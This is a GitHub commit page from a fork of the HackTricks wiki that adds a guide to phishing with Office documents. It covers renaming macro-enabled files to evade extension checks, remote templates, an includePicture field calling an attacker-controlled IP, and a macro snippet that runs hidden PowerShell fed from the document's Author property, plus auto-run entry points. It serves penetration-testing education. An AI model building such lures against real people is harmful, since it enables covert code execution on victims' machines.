forked from HackTricks-wiki/hacktricks
-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
GitBook: [master] 403 pages modified
- Loading branch information
1 parent
29f1c99
commit 5acd0ac
Showing
2 changed files
with
42 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,40 @@ | ||
# Phising Documents | ||
|
||
Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. | ||
|
||
Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. | ||
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. | ||
The same internals and mechanisms apply to all software of the Microsoft Office Suite \(Excel, PowerPoint etc.\). | ||
|
||
You can use the following command to check with extensions are going to be executed by some Office programs: | ||
|
||
```bash | ||
assoc | findstr /i "word excel powerp" | ||
``` | ||
|
||
DOCX files referencing a remote template \(File –Options –Add-ins –Manage: Templates –Go\) that includes macros can “execute” macros as well. | ||
|
||
### Word with external image | ||
|
||
Go to: _Insert --> Quick Parts --> Field_ | ||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**: http://<ip>/whatever_ | ||
|
||
 | ||
|
||
### Macros Code | ||
|
||
```bash | ||
Dim author As String | ||
author = oWB.BuiltinDocumentProperties("Author") | ||
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") | ||
.StdIn.WriteLine author | ||
.StdIn.WriteBlackLines 1 | ||
``` | ||
|
||
## Autoload functions | ||
|
||
The more common they are, the more probable the AV will detect it. | ||
|
||
* AutoOpen\(\) | ||
* Document\_Open\(\) | ||
* |